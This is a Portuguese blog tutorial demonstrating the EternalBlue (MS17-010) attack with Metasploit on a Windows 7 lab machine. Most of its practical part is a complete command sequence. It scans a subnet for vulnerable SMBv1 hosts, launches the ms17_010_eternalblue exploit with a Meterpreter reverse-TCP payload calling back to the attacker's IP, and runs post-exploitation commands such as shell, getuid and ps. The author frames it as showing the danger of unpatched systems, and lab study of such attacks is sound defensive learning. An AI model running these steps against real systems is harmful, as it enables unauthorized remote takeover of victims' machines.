Metasploit Framework

O Metasploit Framework é uma ferramenta para desenvolvimento de Exploits com Payloads com o intuito de explorar vulnerabilidades! Simples! Não? Ok! Vamos por partes…
Framework: Você vai achar muitas definições de
framework na internet, mas no nosso caso pode ser definido como um
conjunto de ferramentas agrupadas em uma mesma solução. A ideia do
framework é evitar retrabalhos ou utilização desnecessárias de uma mesma
ferramenta ou código em um mesmo projeto. Sempre você vai ver um
framework que vai te ajudar a automatizar trabalhos desnecessários ou
mesmo aproveitamento de trabalhos já realizados. Resumindo: o Framework
vai te ajudar a gerenciar melhor o seu trabalho.
Exploits: É por onde o ataque tem início, pois pode
ser um código malicioso ou um software que utiliza-se de uma
vulnerabilidade para atacar o sistema como um todo ou parte dele, assim
abrindo caminho para a injeção de outro código, o Payload. Há 2 tipos de
Exploits: Conhecidos e Desconhecidos (mais conhecidos por 0-day)
Payloads: Após o Exploit “abrir caminho” explorando
uma falha ou vulnerabilidade, é executado um código que tem como função
comprometer o sistema. O Payload que fará a transmissão de dados e a
parte nociva já depois do sistema ter sido comprometido pela
vulnerabilidade utilizando o Exploit.
Vulnerabilidade: é uma condição que quando explorada por um atacante pode resultar em uma violação de segurança.
Explicando o Cenário
Agora que a ferramenta foi explicada na teoria, podemos passar para a parte prática!
Nesse cenário há duas máquinas: Parrot Linux 4.4 64 bits (Atacante) e Windows 7 SP1 64bits (Vítima).
A Rede que estou usando é a 172.16.205.0/24
A Rede que estou usando é a 172.16.205.0/24
Como estou utilizando o Parrot 4.4, a ferramenta já vem instalada. No
Kali Linux, também vem instalada. Caso queira instalar em alguma
distribuição que não venha instalada, fazer o download na página
oficial: https://www.metasploit.com/
Vou utilizar a vulnerabilidade reportada como MS17-010 (https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/MS17-010) popularmente conhecida como EternalBlue. A falha acontece no protocolo SMBv1,
que é utilizado para a troca de arquivos pela rede. Essa
vulnerabilidade ficou famosa, pois foi utilizada para espalhar os
ransomwares WannaCry, Petya/NotPetya, e Bad Rabbit.
Preparando o Sistema
Inicialmente, vamos iniciar o nosso banco de dados postgres para que esse possa se integrar ao Metasploit.
systemctl start postgresql
Depois vamos iniciar o Metasploit
msfconsole
Vamos verificar o status da conexão com o banco de dados.
db_status
Caso retorne esse erro: “postgresql selected, no connection”…
Ou ao iniciar, apareça erros ao conectar ao banco de dados:
Seguir os seguintes passos:
exit (Sair do metasploit)
su postgres (Acessar o postgres e tem que estar como root pra mudar de usuário)
createuser root -P (Criar o usuário root e definir uma senha para ele)
createdb --owner=root msf_database (Criar uma entrada no banco de dados)
exit (Sair do usuário postgres)
msfconsole (Entrar no metasploit novamente)
db_connect root:senha_que_voce_definiu@127.0.0.1:5434/msf_database
Caso não funcione na porta 5434, olhe se a porta do postgres não é a 5432
Depois só conferir:
db_status
Caso queira fazer uma busca genérica usando o módulo Nmap que há no
Metasploit, assim adicionando as informações do hosts no banco de dados:
db_nmap -A 172.16.205.0/24
Para ver os hosts que foram localizados com essa busca, basta digitar:
hosts
Buscando uma vítima
Como o post é direcionado para a falha EternalBlue, vamos procurar o módulo auxilar para realizar a busca na rede:
search smb_ms17_010
Vamos selecionar o módulo que apareceu:
use auxiliary/scanner/smb/smb_ms17_010
Após isso, vamos ver as suas opções:
show options
No nosso caso, precisamos colocar o Range de IP que vamos scannear
set RHOSTS 172.16.205.0/24
Vamos aumentar as threads para agilizar o scan
set threads 100
Depois de tudo configurado, agora é executar:
run ou exploit
Preparando o Exploit
Dentre o range selecionado, irá ser exibido as máquinas vulneráveis
ao EternalBlue. Depois do alvo localizado, vamos iniciar o ataque.
Vamos buscar o exploit da falha EternalBlue
back
search ms17_010_eternalblue
Aparecem duas opções, mas vamos utilizar a primeira opção, pois a segunda é para Windows 8
use exploit/windows/smb/ms17_010_eternalblue
Assim como o scanner, vamos ver as opções:
show options
Como sabemos qual máquina é vulnerável a esse ataque, vamos colocar o IP
dela no Exploit:
set rhost 172.16.205.129
Selecionando o Payload
Depois, vamos selecionar qual Payload vamos utilizar nesse Exploit.
Nesse caso, mandei exibir todos os que são compatíveis com o Exploit:
show payloads
Para esse exemplo, vamos usar o meterpreter com conexão TCP Reversa
set payload windows/x64/meterpreter/reverse_tcp
Como a conexão será reversa, ou seja, a vítima que vai se comunicar
com o atacante, devemos informar qual IP será conectado de volta.
set lhost 172.16.205.1
Vamos verificar se não está faltando nenhuma opção no Exploit ou no Payload:
show missing
Como está tudo certo, vamos executar:
run ou exploit
Acessando a Máquina da Vítima
Após isso, a conexão com o Windows já está ativa. Agora é só utilizar
as ferramentas do meterpreter. Para listar todas basta digitar help. Mas como falar sobre todas as ferramentas não é o tema de post, vamos ver algumas:
Exibir informações do computador:
sysinfo
Exibir em qual usuário está sendo executado no Windows
getuid
Ter acesso ao Shell
shell
O comando PS exibe todas os processos na máquina da vítima.
Também é possível executar comandos do windows sem entrar no modo shell, usando o comando execute:
O intuito desse post é mostrar como um sistema com a configuração
padrão, sem um bom sistema de proteção como antivirus, firewall e/ou
antimalware, pode se tornar um alvo fácil. Note que em momento algum foi
solicitado qualquer intervenção do usuário do computador Windows. Isso
também mostra o perigo de se conectar a redes públicas/abertas.
















Comentários
Postar um comentário